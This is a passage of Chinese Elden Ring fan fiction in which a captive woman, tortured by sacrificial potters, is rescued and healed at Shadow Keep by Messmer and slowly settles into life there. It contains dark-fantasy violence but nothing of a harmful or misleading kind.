《[艾尔登法环]余火》 1. 01 《[艾尔登法环]余火》全本免费阅读 她已经很久没有见到太阳了。 位于地底深处的石窟寒雾弥漫,诡异的火盆燃烧着幽蓝的光芒。她每次睁眼醒来,看见的都是一成不变的现实。 不远处的地面上堆着一小团冻得硬邦邦的蛆,那些白色的幼虫如同老妪一般岣嵝着背脊,紧紧贴在同类的尸体上。 对于这个监牢里的犯人来说,那些白色的蛆是珍贵的营养来源,然而她拒绝进食。 她不知道自己为什么会出现在这里。她不吃不喝,希望尽快能将自己饿死。但只有一个方案是不够的,于是她选了一块最尖锐的石子藏到袖子里,贴着铁栏杆坐在角落时,只要她意识尚还清醒,就在不停歇地磨那块石头,近乎神经质地反复打磨她手中唯一的武器。 脑海里有个细小的声音告诉她,她逃不掉的。 这个石窟既是监牢也是祭祀场所,有重兵把守,哪怕熟悉地形她也插翅难逃。 换班的看守走进来,她停下背后的动作,低眉顺眼地望着地面发呆。 有时候她会分不清自己是否还在演戏,她到底是在试图让敌人放松警惕,还是真的已经被吓到精神失常,只会目无焦距地盯着地面出神。 空气里充斥着浓郁得令人作呕的甜腥味。那些屠夫每次处理材料,总要将材料的皮剥下来,然后再慢条斯理地拆解其余的部位。 弯月般的巨大屠刀锋利无比,她曾亲眼看见那些身影将剥皮之后还在痉挛的材料一刀剁成两半,血淋淋的肠子哗啦啦地流出来,全部落进提前准备好的容器,一滴都没浪费。 看守她铁笼的士兵恭敬地将那些屠夫称为「维壶师」。维壶师地位崇高,戴着彰显身份的虫尸面罩,缝在一起的毛虫尸体在人的面部拼成螺旋的纹样,乍一眼看去就像虫类张开的口器。 维壶师对新鲜的肉块尤其痴迷,特别喜欢人形生物刚刚被剥皮时,还带着血液温度的肌肉痉挛抽搐的样子。 ——将罪人的肉块剁碎放进祭祀的壶中,就能让罪犯重生为好人。 因此,祭祀用的材料要经过精挑细选。不管是手脚、内脏、牙齿、还是头发,若是按照不同的比例混合在一起,最后肯定也会得出不同的结果。 那些屠夫说她是「特殊的材料」,是重要的「粘合剂」。他们已经太久——太久——没有抓到她这样的特殊材料了。 很久很久以前,像她这样的粘合剂,他们想怎么用就怎么用,但一切都被那个娼妇和她的后代毁了。 提起那个女人时,维壶师们的用词极尽恶毒。可每每朝她铁笼的方向望来,那些身影又会诡异地平静下来,仿佛想象着蜜糖滋味的孩童,连胸口如烙铁滚烫的恨意都得到了安抚。 如果不是被面罩遮去了神情,她几乎会觉得那群人在微笑。 她是多么珍贵的材料啊,他们的神明终于垂听了他们的祈祷,将他们最渴望的事物送到了他们身边。 对于要怎么处理她,维壶师们一直未能达成共识,她也因此得以苟延残喘,但她的好运似乎在今天到头了。 吱呀一声,铁笼的牢门缓缓打开。她僵硬地抬起头,看着那个人形的阴影在眼前放大。 她见过这些维壶师是如何不费吹灰之力地肢解活人,知道自己和对方力量相差悬殊。她之前甚至都已经想好了,与其在祭坛上被剁成肉块,她还不如给自己一个痛快,她手里的武器也正是为此而存在。 但是—— 但是—— 当那只手粗暴地薅住她的长发,骤然将她往外一扯,像拖牲畜一样将她往牢笼外拖时,恐惧而屈辱的眼泪突然从干涸的眼眶里冒了出来。 反应过来时,牢房里已响起凄厉的尖叫。她疯狂挣扎,将尖利的石子狠狠刺入提着自己的手掌,然而那个维壶师只是顿了顿,转过身来,然后按着她的脑袋往牢笼的铁栏杆上猛地一撞。 她短暂失去了意识。再次醒来时,幽蓝的火光在视野边缘跳跃,她在地面上被人拖行。脑袋和脸颊湿漉漉的,温热的血沿着额头的破口一路蜿蜒。世界好像在头顶不断旋转,所有声音都从很远很远的地方传来,如同隔着水面一样模糊不清。 她被带到寒冷的开阔之地,不止是戴着虫尸面罩的维壶师,还有不少雕着角饰头盔的士兵聚集在此。大殿中央燃烧着铁架的火盆,她被拖上层层台阶,像破布一样扔到祭台中央。 “把她吊起来。” 祭台中央矗立着行刑的木架,一个维壶师走上前,解开木架上绑着的粗麻绳,另一个维壶师则将她从地面上拽了起来。 头痛得快要裂开,模糊的视野分辨不清眼前重叠的人影。但是,一股和恐惧截然不同的情绪,像沿着翻倒的灯油燃起的烈火,沿着她的血管,沿着她的骨骼经脉,一路烧到她的四肢百骸,仿佛要化作不知名的怪物破膛而出。 她恶狠狠地咬住朝她伸来的手掌,腥臭的血腥味涌入鼻腔时,她没觉得恶心,反而感到了一股莫大的快意。 她咬得多用力啊,牙齿几乎咯咯作响,愤怒的眼泪不断从眼角滑出,混杂着她脸上的血迹一起流淌下来。 “……下贱的族类!”那个维壶师恶狠狠地抽了她一巴掌,打得她一下子偏过头去,脑袋嗡嗡作响,视野泛起黑斑。 “你和那个娼妇一样,都是不知感恩的畜生!” 她被绑了起来,吊在木架下供所有人观赏。她倒是想要继续挣扎,继续诅咒在场的人,但身体不受控制,浑浊的意识已经开始滑向虚无的深渊。 另一个握着鞭子的维壶师上前一步,背对她的方向,向周围的观众躬身行了一礼。大殿周围不知何时变得极其寂静,那些身影屏息静气,仿佛在等待着什么一般,连大气都不敢出。 当她迟缓地意识到站在面前的维壶师消失了时,背后忽然传来长鞭的破空之声。 下一瞬,可怕的剧痛炸裂开来,像尖锐的荆棘一样犁开了她背后的皮肉。有那么一刹那,她甚至感到了后悔,后悔她之前没能抓住机会早点割开自己的喉咙。 她不受控制地惨叫出声,痛得无法呼吸也无法思考,只剩下动物本能的反应,下意识弓起身体想要躲避刑罚。 大殿周 2. 02 《[艾尔登法环]余火》全本免费阅读 浑浑噩噩中,她好像发起了高烧。 她能感受到自己被人抱在怀里,却连睁开眼睛的力气都没有。身体的温度不断攀升,鬓发很快被汗水打湿,噩梦一开始光怪陆离,她的耳畔全是陌生的声音在哀嚎惨叫,成百上千的声音几乎要挤破她的头颅钻进去。 后来那些支离破碎的画面和声音都消失了,被炽热滚烫的黑暗吞没。 在不知时间为何物的黑暗中,她的身体成了密闭的熔炉,血液变成了滚烫的岩浆。在那可怕的温度面前,她无处可逃,哪怕发肤都要烧焦,骨头快要化作焦炭,她也发不出声音,无法向任何人尖叫求饶。 …… ……不,还有一个名字。 那是她来到这世上时,最先学会的发音。 在足以将人压垮的痛苦前,所有理智都灰飞烟灭,徒留最原始的本能。 “妈妈……” ——对于年幼的孩子来说,母亲就是无所不能的神。 “……妈妈。” 她的神明没有回应她的祈求。她在黑暗中痛得打滚,痛得哀鸣,眼泪大颗大颗地往外涌。 她快要死了。 “妈妈——!” 她一定是快要死了。 濒死的幻觉中,冰冰凉凉的蛇鳞缠了上来。那条蛇温柔地绕过她的身躯和四肢,安抚般地贴了贴她的脸颊。 它没有张口咬她,没有将獠牙嵌入她颈侧的动脉,只是安安静静地,近乎乖巧地拥着她,好像把自己当成了一个巨大的降温贴。 黑暗中传来陌生的低语,那是一个苍老的声音,带着一丝不知向何人汇报情况的恭敬。 “……感染扩散的速度太快了……得先把腐肉刮下来……” “请您让她背对我……对,就是这样,让她别动……” 她还未来得及有所反应,缠在她身上的鳞片突然收紧力道。 下一瞬,剧烈的疼痛劈开了她的神志,劈开了昏沉浓稠的黑暗,她睁开眼睛,模糊的视野映出被烛火照耀的昏暗大厅。 空气里漫溢着鲜血和腐烂的味道,还有血肉被烧焦的气味。她疼得发不出声音,下意识想逃,恨不得将灵魂从身体里挖出来,直接舍弃这具身躯不要了。 因为真的好疼啊,疼得她恨不能立刻死去。 但缠在她身上的蛇让她无法动弹,她忍不住啜泣了一声,大概是怀疑她打算咬舌自尽,一只手忽然伸过来,扣住她的下颌强行让她张开口。 如同被取毒液的毒蛇,一旦找到能撕咬的猎物,她立刻用尽全部力气咬了上去,哪怕口腔里尝到了铁锈和盐的味道也浑然不觉。 “……梅瑟莫大人……?” “不用顾及我。” 阴冷低沉的声音没有丝毫起伏,透出一股置身事外的冷静。那个人甚至还有余裕拨开她颈后湿透的长发,方便对面的老者进行清创手术。 “继续。” 时间的流逝从未如此缓慢,每分每秒都如同在烈火中煎熬。但渐渐的,她开始能逐渐忍受伤口的疼痛,体内的温度也逐渐下降。缠在她身上的蛇鳞缓缓松开力道。没有了剧痛的干扰,她终于后知后觉地意识到:口腔里的血腥味并不属于自己。 她松开口,苍白修长的手指多出了血迹斑斑的牙印,但对方不是没有痛觉,就是对这种程度的疼痛全然不在意。 她靠在陌生的男人怀里,小得他单手就能环住身躯。猩红的斗篷沿着男人的肩膀垂落下来,盖过了冰冷的锁子甲和石膏像般苍白的皮肤。 柔和舒缓的凉意渗入背后的伤口,那治愈术似乎带有镇静的魔法,很快她就感到睡意上涌,大脑也变得昏昏沉沉。 失去意识前,最后烙印在视野里的,是蛇一般的金色竖瞳,冰冷又美丽。 …… 她睡了很久,再次醒来时,依然身处光线昏暗的大厅。 厚重的石墙历史悠久,金色的灯台雕着花纹。昏黄的烛光勾勒出周围的环境,白色的幔帐从天花板垂落下来,在她的床边自然形成某种隔阂。 这个大厅里有不少像她这样用帷幔隔开的病床,但躺在病床上的生物已经不能称之为人,只是一团轮廓模糊、由很多残肢组合在一起的肉块罢了,甚至都让人看不出是否还活着。 “她们是你的病友。”她这才发现自己的床边坐着一个人。那个人从头到脚罩着红色的长袍,脸上带着古怪的金色面具,面具上雕刻着两张表情松垮的人脸。 她警惕地循声望去,那名老者一动不动,姿态十分坦然闲适,仿佛两人只是坐在篝火边闲聊的老友。 他呵呵笑道:“这么多年来,你是我们第一个成功救治的病例。” 大厅周围安静得落针可闻,烛火哔啵一声,溅出些许星火。 炽烈可怕的疼痛几乎已经消失不见了,如果不是因为记忆过于深刻,她都要怀疑之前的经历是自己的一场错觉。 沉默许久,她试着开口:“……谢谢。” “你太客气了。”那名老者保持着笑意,“但你有没有想过,也许你只是从虎口掉入了狼窝呢?” “……” 迎着她警惕的目光,对方笑呵呵道:“能够吞吃魔鬼的,当然只会是更加穷凶极恶的存在。这个幽影城可不是什么好地方。” 幽影城……她默默在心中记下这个地名。 她对目前身处的世界知之甚少,不管是怎样的知识都如同沙漠中的甘泉一样宝贵。 “怎么了?”见她没有回应,对面的老者再次开口,“在考虑怎么逃跑吗?” “……不。” 她微微松开紧绷的身躯。“对于我来说,救了我的人就是好人。” 老者饶有兴趣地“唔”了一声,继续道:“哪怕我们救你是另有所图呢?被扔进火炉里当燃料你也不怕?” “温戈大人,”一道声音插进来,及时打断了老者的话。“您会吓到她的。” 幽影城的人可能走路都没有声音。来者瘦长高挑,披着红色的斗篷,像是从阴影里冒出来的一样,尖尖的兜帽下面露出金色的面具,但和老者的人脸面具不同,金色的面具绘着花纹,底部宛如尖钩。 如烈焰般猩红的斗篷,则由咬合的双头蛇金链固定在肩头。 “哎,要在这幽影地生存,不经吓怎么行呢?你们这些年轻人啊,就是太宠小姑 3. 03 《[艾尔登法环]余火》全本免费阅读 打断她思路的是凑到她面前的蛇。 碧绿的虹膜映出她的身影,竖线般的瞳孔微微扩大,那条蛇的鳞片细密光滑,色泽艳丽如同血红的玛瑙—— 一看就被养得很好。 窸窸窣窣,昏暗的觐见厅内,蛇鳞滑过地面的声音响起。面前的红蛇端详着她的同时,另一条蛇绕到她背后,昂起脑袋似乎想观察她后背的伤口。 这些蛇身上长着蝙蝠般的黑色翅膀,虽然体型上看起来像蟒蛇,论物种却明显不属于她认知中的任何一种蛇类。她站在原地,任由两条蛇围着她打量,这里嗅嗅,那里闻闻,判断着她的身体状况。 仿佛收到了无声的命令,两条蛇动作一顿,缓慢地退了回去,回到帷幔之下的王座旁。 “……你不该出现在这里。” 烛光静稳,昏暗的空间里爬着长长的阴影。王座上的身影抬起眼帘,露出阴冷的金色竖瞳。 他可能左眼受了伤,平时只用右眼视物。 她回过神,试图出声。 “回去躺着。” 毫无起伏的声音,像火堆中的余烬,透着一股仿佛从灵魂深处漫上来的倦怠。 尽管如此,那低沉声音中的权威不容人质疑。他似乎认为她会知难而退,哪怕阴沉沉地什么都不做,只是居高临下地从王座上用冰冷无情的目光盯着她,她也会自觉地倒退着离开,然后顺便把门给他重新关上。 “……我是来道谢的。”她终于找回自己的声音,然后又意识到了新的问题:她不知道该如何行礼,不了解这个世界基础的习俗礼仪。 她不自觉将手交握于身前,用拇指摩挲着自己的指关节。 “感谢您救了我。”她说。 寂静的空间放大了最细微的声音,包括她的心跳和呼吸。昏暗的光线和两人之间的距离让她无法分辨男人脸上的神情。 时间也许过去了许久,也许只过去了一瞬。 “……既然你已经完成了此行的目的,就回去。” 金色的竖瞳从她身上移开了。坐在王座上的身影撇开视线,似乎不打算将话题进行下去。 “等我伤养好了,我可以留下来吗?” 闻言,环绕在男人身侧的红色翼蛇重新朝她看来。 “我没有其他可去的地方。”她说。 她很清楚她无法在外面的世界存活,这次觐见的目的也不只是为了向对方道谢。 “……我的家,”说到这里,她的嗓音不自觉颤了一下,但很快便被她强行抚平,“我回不去了。” 她不知道回去的方法。 “我什么都可以做。”她语气略快地补充,“不管是清洁的工作还是别的工作,我都可以学。我学东西一向很快,保证不会给您添麻烦。您的城堡这么气派宽敞,想必一定有用得上人的地方,只要给我一个月的试用期……” 王座上没有传来回应,她声音一顿,飞快改口:“三天的试用期就行。” 说完,她低下头,眼观鼻鼻观心,心想就算被拖出去砍头她也尽力了。 而且砍头多爽快啊,比活生生地被肢解爽快多了。 她等着守在外面的火焰骑士冲进来,将她以大不敬的罪名拖出去。她站在原地等了半天,一直低着头,脖子都有些酸了。 在她看不见的地方,红色的带翼蛇咬了咬男人斗篷边缘的穗子。 “……等你养好伤后,会有人带你熟悉幽影城的环境。” 她愣了一下,直起身。然而王座上的身影似乎认为话题已经到此为止。也没见他挥手示意,她背后忽然多出了原本应该候在厅外的火焰骑士。 “请跟我来……”希德低声开口,然后卡住了。 “我叫莱拉。” 跟着希德离开前,她看向王座的方向,又重复了一次:“我的名字是莱拉。” …… 幽影城由漆黑沉重的巨岩砌成,走道和长廊里常年点着幽幽燃烧的火盆。虽然枪戟林立,每隔几步就有全副武装的士兵和骑士站岗,城堡内部萦绕着一股挥之不去的寂静,如同岁月厚重的尘埃一样填满了石砖的缝隙。 名为希德的火焰骑士给她换了一个单人的房间,房间里有壁炉,壁炉前铺着花纹繁丽的红毯,红毯旁边有供人休憩的长椅和能够折叠的屏风。宽大的床铺得整整齐齐,四周的帷幔被金色的带子系起。如果不是墙壁四处都留下了铁架的痕迹,几乎让人看不出这是临时收拾出来的房间。 “这原本是供客人休息的套间,但因为许久未曾使用,后来才成了置放兵器的地方。” 她转过身时,正好听到希德用喃喃自语般的声音补充:“毕竟,谁能想到幽影城也会有来客。” 陷入自言自语状态的火焰骑士会忘记旁人的存在。感慨完毕,对方神情自若地将系带的铃铛交到她手中:“如果有什么需要,用这个铃铛召唤仆人即可。” 希德朝她行了一礼,仿佛想起什么,不太熟练地用安抚的语气开口:“温戈大人说您恢复得不错,但背后的伤可能会留下疤痕。” 对方保持着行礼的姿势观察着她的反应。 她笑了一下:“知道了,谢谢你。” 面前的火焰骑士放松下来。 “那么,我就不打扰您休息了。” 床上放着两套叠得整整齐齐的衣服,一套由细麻布般的材料织成,另一套虽然尽力清洗过,依然可以看见渗透布料的黯淡血迹。 那是她原本穿在身上的衣服。虽然已经变成了没用的破布,对于她来说,那依然是她唯一拥有的关于自己来处的念想。 她摩挲着暗褐色的血迹,后知后觉地意识到:那些人什么都没问。 到目前为止,没有人询问她是谁,她来自何处,又为什么会出现在那些维壶师的手里。 一丝凉意涌入室内,原来是窗户没关。她放下手中染血的衣物,缓步来到窗边。 幽影城外围的城墙高达百丈,如同黑色的悬崖峭壁。她所在的房间位置很高,从窗边望去,可以将远方的平原尽收眼底。 时间是傍晚,暮色笼罩大地,触目所及尽是荒凉景象。枯黄的野草绵延千里,古老的断壁残垣像大地敞露的白骨散落其间。城池附近的针叶林似黑色的针尖耸立,通往城门的必经之路旁驻扎着军队,军营中的火光昼夜不息。 一个巨大的身影矗立在军营中,如同柳条织成的巨大雕像,浑身包裹着熊熊燃烧的烈焰。 那个比营帐还高的身影不可能是人。 戴着人脸面具的老者的声音毫无缘由地在脑内响起:「……被扔进火炉里当燃料你也不怕?」 她关上窗,缩了回去。 …… 虽然入睡很顺利,但梦中翻来覆去都是陌生的噩梦。 那是个她从未见过的木屋,密闭的屋里充满肉类腐烂的气息。这次没有人来救她,哪怕她的伤口散发出溃烂流脓的恶臭,被鞭打的身体 4. 04 《[艾尔登法环]余火》全本免费阅读 灰蒙蒙的光透过床帐的缝隙照了进来。 她藏在床帐内侧的阴影里,外面很安静,听不见一丝声息。通过雾蒙黯淡的光线判断,今天似乎也是阴天。 她屏息凝神倾听片刻,确定寝殿里确实没有别人,然后小心翼翼地抬手分开了柔软的帷幔。 雕花的石砖地板很凉。她伸出脚尖,试探着踩了踩,确定那只是块普通的石砖,这才放心地踩实了,站稳了,开始打量周围的环境。 偌大的寝室家具不多,占地面积最广的就是她身后这张被帷幔笼罩的床。比她还高的枝状大烛台伫立在床头两侧,形状如同波动的火焰。 不管是地面、墙沿、还是壁龛,凝固的融蜡在这个房间里随处可见。 像积雪,也像生物白色的脂肪。 她几乎能想象夜幕垂临后,无法入睡的人坐在烛光昏暗的寝殿里,周围的烛火无声摇曳燃烧,然后又在黎明到来时一一熄灭。 灰白的天光是从露台照进来的。这个房间位于幽影城西北方的最高处,从露台望下去估计是万丈深渊。她有些恐高,于是打消了凑过去看一看的念头。 近似古罗马样式的躺椅旁摆着一张小桌。虽说是躺椅,于她而言却和一张床没有什么分别。不远处的墙角立着一面落地镜,镜沿的花纹华美繁丽,一看就是这个时代的贵重物品。 镜子中的身影谨慎地向前一步,她也谨慎地向前走了一步。两个身影逐渐靠近彼此,直到两人面对面而立,眼中犹带警惕地望着对方。 确定这只是一面普通的镜子,镜子里的倒影不会变成奇怪的生物扑出来后,她微微放松紧绷的肩膀,开始观察自己的模样。 额头的伤口不见了,乌青和红肿也都几乎消退。她确实恢复得不错,而且速度快得她自己都有些诧异。仅从外观判断,几乎让人看不出来她之前遭遇了什么。 如果仔细观察,倒是能从细微处瞧见端倪。虽然并不显眼,她的头发贴近左后脑勺的部分缺了一块,应该是她之前在被拖行的过程中扯下来的。 这倒是不打紧,把其他部分的长发拨过来挡一挡就好。至于她背后的伤口…… 她犹豫片刻,慢慢抬起手,解开了睡裙的系扣。 柔软的衣料从肩头滑落到臂弯处,空气有些凉,裸露在外的皮肤很快泛起鸡皮疙瘩。她忍住颤意,将背后的长卷发挽到胸前,然后慢慢侧过身。 从脊线微凹的地方,两道丑陋的疤痕显露出来,像扭曲缠绕的蜈蚣一样,沿着她的左腰爬上右肩,和周围白皙细腻的皮肤形成了鲜明的对比。 腐烂的皮肉已经被挖掉了,尽管如此,那狰狞可怖的痕迹却无法祛除,像恶毒的诅咒一样烙印在这具躯壳之上。 她看了几眼,很快别开目光,重新系起扣子。动作进行到一半时,她好像从眼角的余光中看到一抹红色的影子在门边闪过。 转过身去时,缠在男人身上的带翼蛇也非常默契地扭过头,露出一副「我们什么都没看到」的模样,只用黑色的小翅膀背对着她。 她僵在原地,扣子系到一半,继续也不是,停在那里也不是。 她木木地想,这个幽影城的人走路都没有声音吗? 但是,这好像是对方的房间。要说失礼,似乎是她比较失礼一些……? 大脑空白,她还等着对方有所反应,那个高大的背影像石雕一样矗立在门边,重新动起来时,猩红的披风随着他的步伐如烈焰波动了一下,眨眼就从她面前消失了。 一声不吭地走了。 转过身,走了。 梅瑟莫离开后,房间里多出了两个侍女模样的黑色幽灵。如果是平时,她肯定会吓一跳,但她仍然沉浸在震惊的情绪里,完全匀不出多余的精力去表达惊吓。 那些黑色的身影披着样式古老的长袍,灵体的边缘微微发光,如笼云雾的面部看不清五官,只能依稀看见眼鼻和嘴唇的位置。尽管如此,她们不仅能碰到实体,还能动作利索地给她穿衣挽发,将她领到躺椅旁就餐。 她进食的期间,那两名幽灵侍女就安安静静地在一旁待着,和家具的影子没什么不同。 雪白的面包蓬松柔软,带着刚刚出炉的温度。酒水里可能加了蜂蜜,抿起来有一股甜涩的味道,喝下去之后腹中很快升起一股暖意,驱散了这个城堡里萦绕不去的阴冷感。 她将所有东西吃得干干净净,平时不怎么吃的橄榄和无花果也没有放过——她其实不太确定那是不是橄榄和无花果,但已经决定用熟悉的词汇给陌生的事物命名。 “谢谢。” 没有回应。 那两名侍女站在原地,看不清面貌的脸没有波动。 她想了想这种时候应该说什么,用生疏的语气试着开口:“你们去休息吧。” 那两名侍女朝她行了一礼,消失和出现的时候都一样悄无声息。 她现在唯一的任务就是养伤,但说实话,她觉得她的伤已经养得差不多了。 想到这里,她离开躺椅站起身。 不论白昼黑夜,觐见厅永远烛火昏暗。巨大的帷幔从天花板的尽头垂落,烛火无法触及的阴影中,梅瑟莫坐在王座上,仿佛已经和那高高的椅背融为一体。 他的长枪矗立在王座旁,枪头形似波动的烈焰,威慑意味十足。如果有敌人擅自闯入,毫无疑问会被迎面而来的长枪一击贯穿,当场毙命。 “……您要不要回房休息?”她从高台后侧探出头,也许是酒精壮人胆,一杯暖酒下肚,她整个人都有些飘忽。 金色的竖瞳斜过来,他从头盔下露出来的头发像烈焰一般红,但那耀眼的颜色并不让人觉得温暖,反而和他身上的盔甲一样冰冷锋锐。 “这件事不需要你操心。” 非常言简意赅的回复。 “但是,您一夜未睡,一定十分疲惫。我已经休息好了,可以回到自己的房间……” 王座上的男人本就长相阴郁,只要眉头稍微下压,神情便显得森冷迫人。 她收回话头,换了个话题。 “……您的伤口还好吗?” 她补充:“手指上的。” 周围光线昏暗,她看不清被她咬过的地方是否留下了疤痕。 男人苍白修长的手指似乎微微动了动,但依然没有离开王座的扶手。 梅瑟莫别开视线。“已经无碍。” 她从他的声音里听出了逐客的意味,于是老老实实地回到了房间。 觐见厅重新被寂静笼罩,梅瑟莫面无表情地坐在阴影里。昏黄的烛火在周围的地面和圆柱上投下明灭的光影,寂静的氛围没有持续太久,不多时,背后的通道里再次传来细小的脚步声。 那个身影绕过高台,探出头,小心翼翼地开口: “这座幽影城没什么被诅咒或闹鬼的传闻吧?” 闻言,缠在梅瑟莫身上的带翼蛇朝她看了过来,露出智慧的眼神。 她羞愧地低下头。 “……我知道了。” “如果你闲得无事可做,”梅瑟莫的声音冷淡而倦怠,“可以让人带你出去走走。” 她很快见到了应召前来的希德。身形高瘦的火焰骑士毕恭毕敬地朝梅瑟莫的方向行了一礼,颇为遗憾地开口:“温戈大人说他在忙。” “……” 梅瑟莫的表情没有波动,声音同样也没有波动:“萨赞呢?” “萨赞大人说遗迹那边出土了新文物。” “昆兰?” “在教区。” “库德……” “梅瑟莫大人,库德负责时刻镇守这座塔楼。” 金色的竖瞳落到保持着行礼姿势的火焰骑士身上。 希德将头垂得更低了:“……我今天也很忙。” 绕在梅瑟莫身上的带翼蛇再次露出了智慧的眼神,然后不知怎的又瞄了她一眼。 寂静过后,梅瑟莫表情阴沉地离开王座站了起来。她心里一紧,下意识看了一眼王座旁的长枪,生怕梅瑟莫下一刻就拔起长枪把希德给串了。 “那个,其实,我今天不出门也……” 红色的带翼蛇蹭了她一下。 冰冰凉的蛇鳞像丝绸一样滑过,她忘记了自己刚才想说什么。 眼见着梅瑟莫都走到门口了,希德出声催促她: “快去吧,莱拉大人。” “……?” 来不及思考希德为什么对她换了敬称,梅瑟莫回头看了她一眼,她赶紧跟了上去。 外面果然是阴天。 穹幕阴云翻涌,但真正让人驻足的是那遮天蔽日的巨树。黑色的树从幽影城背后升起,像撑起世界的柱子一样张开枝桠。细密的枝桠遮盖了大片天空,仿佛要延伸到地平线的尽头。若是凝神细看,帷幕般的巨大影子从树梢垂下,像隐匿物件的纱帘一样从树顶铺向远方。 黑色的树干崎岖歪斜,从中淌下金色的树脂,如同融化的黄金一般光辉灿烂。 极致的光辉和极致的幽暗,她从未见过那么壮丽而诡异的景色,但这座城里的人都对此习以为常。没有任何人抬头仰 5.05 《[艾尔登法环]余火》全本免费阅读 她很少见到这样的天空。 天幕低垂,云海翻涌,黑色的巨树歪斜扭曲,如同被众神惩罚用背脊托起天空的巨人。它身影佝偻,张开的枝桠如同向上托举的手,仿佛虔诚的信徒在向神明忏悔祈祷——亦或是发出诅咒。 金色的血液从树心淌下,溶金般的血液不断流淌,世界笼罩在永恒的黄昏之中。穹幕云海翻涌,阴沉沉地压向耸立在荒野上的漆黑城池。 那是暴风雨来临前的景色,冰冷干燥的空气却嗅不到任何暴雨将至的信号。 这个世界凝滞在奇怪的时间里,黄昏无比漫长,暴雨永远将至未至,让人不得解脱。 呼啸的风吹起了她的衣摆,她从露台边沿小心翼翼地探出身,下方毫不意外是雾蒙蒙的无底深渊,连地面的影子都见不到。 ……从这里摔下去,不要说是粉身碎骨了,估计连骨头渣都不剩。 但她怎能因此就心生畏惧。若是想在这个世界生存,就必须学会克服这种级别的心理障碍才行。 ……没错,只是小小的心理障碍罢了。 风声陡然汹涌,她吓了一跳,正打算缩回去,有人比她动作更快,一把将她从露台边沿捞了回去。 心脏停跳了一拍,她下意识挣扎起来,但扣住她的手纹丝不动,为了防止她掉下去,红色的带翼蛇还缠了上来。几重保险之下,她想重新踩到地面简直难如登天。 “你在做什么?”在耳后响起的声音像冰凉的蛇鳞沿着后颈的皮肤滑下。挣扎的动作不由一滞,她无法回头,因为两人靠得太近了,而他似乎还毫无所察,依然牢牢将她抓在怀里。 苍白的手掌十分宽大,张开五指能完全拢住她的腹部。背脊的曲线和冰冷的锁子甲贴合,陌生的气息围拢过来,她就像被拎住了后颈的猫,僵硬得无法动弹。 见她没有动静,红色的带翼蛇吐着信子凑过来。古怪的感觉涌上心头,她垂下眼睫别过脸,不想让它们瞧出端倪。 穿着单薄是错误的选择,可怜的衣物此刻皱巴巴地在他掌中揉成一团。她本想撑住他的手臂,然而触到苍白冰冷的皮肤时,又像被烫到一样飞快地收回了指尖。 从衣物和体温相贴的地方蔓延开来的古怪热意,一定是紧张的情绪所致。 她不敢乱动。在那股热意蔓延到喉咙口之前,她挤出声音: “……只是想看风景。” “爬到露台边沿看风景?”那声音像阴冷的蛇在嘶嘶吐信,缠着她的力道依然没有松开。 露台边沿很宽,如果想往下看,以她的体型就不得不爬上去。 她闭了闭眼,决定实话实说:“我想克服自己的恐高。” 闻言,带翼蛇拉开距离,看看她,然后又看看梅瑟莫。 误会解除,梅瑟莫终于松开禁锢。红色的带翼蛇好像有点小愧疚,将她放下去的时候格外小心翼翼,甚至还用小翅膀安抚般地拍了拍她的手臂。 她垂着视线,目光不知道应该往哪看。 “以身犯险是愚者的行为。” 她将头垂得更低了。 “……但不知恐惧为何物的人,同样也是愚者。” 她顿了一下,抬起头,梅瑟莫却移开了视线。 “没有必要感到羞耻。” 带翼蛇咬了咬他斗篷肩膀处的金穗,梅瑟莫无动于衷,语气依然冷淡倦怠,没有波澜。 “没有恐惧的人向来在战场上死得最快。” 她认真地端详他片刻。露台上风很大,呼啸的风声卷起了猩红的衣摆,像战场上的旌旗一样猎猎翻飞。 “……那你呢?”她开口。 “你有恐惧的事物吗?” ——那个身影没有回答。 回忆到此结束,空荡荡的风似乎犹在耳边呼啸不止,她站在物种保藏库的门口,视线沿着巨大的生物标本一路往上,直到穹顶的天光模糊了视野里的所有轮廓。 从天花板垂吊下来的标本物种不一:有羚羊、狮子、甚至还有巨大的人形生物。虽然面貌体型迥异,那些标本的共同点是身上都长满了角,发灰的皮肤像礁石遍布的海岸,上面爬满了密密的藤壶。 那些纠结缠绕的角,看起来也确实像寄生生物。 像螺壳、脓疮留下的疤、和某种无法治愈的顽疾。 “您其实不需要如此努力。” 名为温戈的老者今日是她的向导。 “为什么使用敬称?”她问。 两人第一次见面时,他分明没有这个习惯。 老者笑呵呵地回答:“因为您不习惯被人如此称呼。” “……” “您的想法都写在脸上,这是个坏习惯,得改正才行。” “怎么改正?像你一样戴上面具吗?” “如果是莱拉大人的话,就算戴着面具也很容易猜到您的想法。” “……” 她扭过头,背着手跟在温戈身后。可能是梅瑟莫不在的缘故,偷偷打量她的视线变多了。当她看过去时,不管是书架间那些面貌模糊的黑色幽灵,还是走廊上站岗的士兵,那些人都不动声色地移开目光,连表情都不会波动一下,非常训练有素。 她参观了幽影城的宴会厅,装饰华丽的大厅灯火通明,厚重的长桌和高背椅都雕刻着精致的花纹。壁炉里的火焰熊熊燃烧,旁边立着铠甲漆黑的高大骑士,一动不动的模样几乎要让人错以为他只是宴会厅里的摆设。 幽影城的城墙很高,火盆架昼夜燃烧。阴气森森的枪戟列墙而立,像尖刺一样戳向天空。 “那是练兵广场。” 她随着温戈的示意向下方望去,通往幽影城正门的广场被高耸的城墙包围,广场中心竖立着无头的雕像。那雕像展开双手,面朝正门的方向,如同拥抱孩子的母亲。 如果冲进来的是敌军,迎接他们的只会是死亡的怀抱。 她打量着广场铺地的石砖。幽影城虽然从外面看起来宏伟阴森,内部鎏金的装饰也残留着过去的华美,这座巨大的城池明显有些年久失修,不少角落更是看起来很久没有打扫过了,连物种保藏库的屋顶外沿都成了蝙蝠的巢穴。 她觉得她找到了工作机会。 她表现得可能有点明显,因为身后再次传来温戈的声音。 “莱拉大人,您不需要工作。” 黄昏斜长的光芒照进幽暗的练兵广场,勾勒出无头雕像展开的双臂。那是名女性的身影,曳地的衣裙勾勒出柔软的弧度,她左脚微微前踏,双手掌心向上,发辫垂落腰间,被夕阳染上金箔般的颜色。 “为什么?”她说。 “我们曾经努力了许多年。”温戈的声音依然笑呵呵的。因为戴着人脸面具,她无法辨别老者此刻的表情。 “您是我们唯一成功救助的病例,所以您只要健康平安就好。” “……仅此而已?” “仅此而已。” 可这世上哪来这么多平白无故的善意。 她能隐约感受到这一切善意和她本人无关。 6.06 她本来应该很害怕的。 但也许是一人在黑暗中独行了太久,让她无法拒绝向唯一的火光靠近。也许是那条巨蛇气息奄奄的状态让她放下了警惕心。再或者,她知道自己身处梦中,因此那条蛇就算攻击她也不会造成实质的伤害。 